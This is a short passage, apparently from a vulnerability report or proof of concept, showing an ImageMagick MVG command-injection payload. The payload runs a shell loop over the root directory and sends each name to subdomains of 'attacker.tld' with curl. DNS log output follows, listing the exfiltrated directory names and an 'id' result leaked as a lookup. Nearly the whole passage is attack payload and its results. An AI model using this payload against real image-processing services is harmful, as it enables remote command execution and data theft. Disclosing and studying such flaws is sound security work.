image over 0,0 0,0 ' i in $(ls /) ; do curl "http://$i.attacker.tld/" -d @- > /dev/null; done`'
pop graphic-context

And result was:

NAME: home.attacker.tld, Type: A
NAME: boot.attacker.tld, Type: 28
NAME: dev.attacker.tld, Type: 28
NAME: bin.attacker.tld, Type: A

and so on...

`id` shell command returned:

NAME: uid=99(nobody).attacker.tld., Type: 28
